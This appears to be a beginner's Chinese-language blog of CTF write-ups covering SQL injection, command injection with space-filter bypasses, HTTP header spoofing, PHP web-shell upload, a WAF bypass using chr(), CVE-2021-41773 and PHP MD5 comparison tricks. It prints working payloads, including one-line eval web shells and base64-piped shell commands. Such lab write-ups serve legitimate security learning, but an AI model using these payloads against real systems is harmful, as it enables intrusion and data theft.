[极客大挑战 2019]LoveSQL 尝试用万能密码,万能密码原理点这 。
?username=1'%23 &password=1
这里用的是%23
而没有用--+
,--+
不行的原因我也不太清楚,
得到一串很像md5加密的密文。但最终没有解出来。
然后进行常规的联合注入,得到
字段数:3
库名:geek
表名:geekuser,l0ve1ysq1
l0ve1ysq1表下的字段名:id,username,password
geekuser表下的字段名:id,username,password
然后依次查看username和password,发现geekuser里面的用户名和密码就是用万能密码登录得到的,然后再查看l0ve1ysq1里面的用户名和密码,得到flag
[GXYCTF2019]Ping Ping Ping 之前碰到一次Exec的题目,所以我们直接上Linux命令,但是发现cat flag.php
和cd ../
还有上传木马的echo '<?php @eval($_POST['cmd']); ?>' > hack.php
等指令都用不了,看来是被过滤掉了,后来才知道这是过滤了空格space。
过滤空格的解决办法
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
一个一个试,发现只有$IFS$1
管用,然后构造cat$IFS$1flag.php
,结果提示过滤了flag字符串,所以试着cat一下index.php,结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); } ?>
这段代码我也看不太懂,WP说是过滤了很多符号。
1 2 3 方法一:我们构造/?ip=1;a=g;cat$IFS$1fla$a.php然后在注释里面得到flag 方法二:cat$IFS$9`ls`,这里的反引号是内联,所谓内联,就是将反引号内命令的输出作为输入执行。 方法三:echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh这句是先输出cat flag.php的base64编码,然后再解码,然后再执行。其中的|表示将前一个命令的输出作为后一个命令的输入。
[极客大挑战 2019]Http 进入题目后检查源码发现Secret.php文件,进入后查看源码未发现任何东西,而且给出的网址进不去。根据提示
It doesn’t come from ‘https://Sycsecret.buuoj.cn
‘意思就是不是来源于https://Sycsecret.buuoj.cn
的资源,也就是Referer不是https://Sycsecret.buuoj.cn
。所以我们要修改header头,添加Referer ,这里用Bp修改。
Referer:https://Sycsecret.buuoj.cn
Request为
1 2 3 4 5 6 7 8 9 10 11 12 GET /Secret.php HTTP/1.1 Host : node4.buuoj.cn:28174Cache-Control : max-age=0Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language : zh-CN,zh;q=0.9Content-Length : 0Referer:https://Sycsecret.buuoj.cn Cookie : UM_distinctid=17d26e27951337-0f7088736cbf9a-b7a1438-144000-17d26e27952da6Connection : close
注意Referer不能在Cookie下面,且不能乱空行。 结果如图
所以我们继续修改浏览器标识
User-Agent:Syclover
全部Request为
1 2 3 4 5 6 7 8 9 10 11 12 GET /Secret.php HTTP/1.1 Host : node4.buuoj.cn:28174Cache-Control : max-age=0Upgrade-Insecure-Requests : 1User-Agent : SycloverAccept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language : zh-CN,zh;q=0.9Content-Length : 0Referer:https://Sycsecret.buuoj.cn Cookie : UM_distinctid=17d26e27951337-0f7088736cbf9a-b7a1438-144000-17d26e27952da6Connection : close
然后Response提示只能在本地浏览,则继续添加X-Forwarded-For (XFF )
X-Forwarded-For:127.0.0.1
全部Request为
1 2 3 4 5 6 7 8 9 10 11 12 GET /Secret.php HTTP/1.1 Host : node4.buuoj.cn:28174Cache-Control : max-age=0Upgrade-Insecure-Requests : 1User-Agent : SycloverAccept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language : zh-CN,zh;q=0.9Content-Length : 0Referer:https://Sycsecret.buuoj.cn X-Forwarded-For:127.0.0.1 Cookie : UM_distinctid=17d26e27951337-0f7088736cbf9a-b7a1438-144000-17d26e27952da6Connection : close
最终得到flag
command_execution(攻防世界) 该题比较简单,但是注意cd ../然后再ls。这里也可以用find / -name "flag.txt"
命令进行搜索,这里是猜测的文件名叫flag.txt如果不知道,那只能一个文件一个文件的找。
用find / -name "flag.txt"
得知flag.txt在/home/flag.txt,然后用指令cat /home/flag.txt
得到flag
upload1(攻防世界) 题目要求上传图片,gif不行,则随便上传一个图片,然后抓包更改后缀为.php,然后将代码
1 GIF89a? <script language ="php" > eval ($_REQUEST[1 ])</script >
复制进去,然后根据上传的位置,用蚁剑连接即可找到flag
[RoarCTF 2019]Easy Calc 首先要了解php中的chr()函数 、scandir()函数 、var_dump()函数 、file_get_contents()函数
在源码中发现了calc.php?num=
则访问calc.php发现部分源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting(0 ); if (!isset ($_GET ['num' ])){ show_source(__FILE__ ); }else { $str = $_GET ['num' ]; $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ,'\$' ,'\\' ,'\^' ]; foreach ($blacklist as $blackitem ) { if (preg_match('/' . $blackitem . '/m' , $str )) { die ("what are you want to do?" ); } } eval ('echo ' .$str .';' ); } ?>
别人的wp说这是禁用了许多字符,我现在还看不懂。呜呜呜
然后构造
? num=var_dump(scandir(chr(47)))
?和num之间有一个空格
原因是:假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
我们利用chr这个函数来构造函数内的字符串参数,就不需要用单双引号,从而成功绕过正则表达式。
然后构造
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
这是/f1agg,然后即可得到flag
CVE-2021-41773(实验室) 说是一个apache2.4.49的漏洞,具体成因我也不太清楚,加cgi-bin的原因也不清楚,呜呜呜
这里的%2e是.的url编码,这里不能换成.. 具体原因我也不太清楚,然后这里是在该位置下将内容输出到flag.txt文件中,结果为flag{This is CVE-2021-41773}
MD5 各种比较(实验室) 第一步 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include ("./success.txt" );highlight_file(__FILE__ ); error_reporting(0 ); $name = "" ;$val1 = @$_GET ['val1' ];$val2 = @$_GET ['val2' ];if ( $val1 == $val2 ){ die ('val1 OR val2 no no no' ); } if ( md5($val1 ) != md5($val2 ) ){ die ('step 1 fail' ); } echo "step 1 ok !!!" ;
解释出来就是val1和val2的值不等但是md5解析相同,因为处理hash字符串时,PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同 这里参考
构造?val1=s878926199a&val2=s155964671a
成功过第一步
第二步 1 2 3 4 5 6 7 8 9 10 11 12 13 14 $thatfeelslike = "dcd385" ;$val3 = @$_GET ['val3' ];$val4 = @$_GET ['val4' ];if ( $val3 == $val4 || is_array($val3 )){ die ('val3 OR val4 no no no' ); } if ( substr(md5($val3 ),0 ,6 ) !== substr(md5($val4 ),0 ,6 ) || $thatfeelslike !== substr(md5($val3 ),0 ,6 ) ){ die ('step 2 fail' ); } echo "step 2 ok !!!" ;
val3和val4不能相等,且val3不是数组,且val3和val4的md5加密前六位都是dcd385,我这里实在找不到。上网搜到了wp ,这里面提供了
构造?val1=s878926199a&val2=s155964671a&val3=23902125&val4=23027101
第三步 1 2 3 4 5 6 $a = @$_GET ['a' ];$b = @$_GET ['b' ];if ($a !== $b && md5($a ) === md5($b )){ echo "step 3 ok !!! wuhu~~" ;
这里是a和b的值不等,但是md5加密后却相等。因为这里是===
不仅比较值相等还会比较值得类型是否相同 0E在这里就不可用了。
php中md5和sha1函数都无法处理数组,会返回NULL 所以构造a[]=1&&b[]=2
就可以绕过。参考
第四步 1 2 3 4 5 6 7 8 9 10 11 12 13 $val5 = @$_GET ['val5' ]; $val6 = @$_GET ['val6' ]; $val7 = @$_GET ['val7' ]; if (md5($val5 ) === md5($val6 ) && md5($val6 ) === md5($val7 )){ echo "tql!ddw! 记录你的名字吧!" ; $name = @$_GET ['name' ]; if (strlen($name )>5 ){ die ("what???" ); } file_put_contents("./success.txt" ,$name .PHP_EOL,FILE_APPEND); } }
这个不用搞了,没传值直接就ok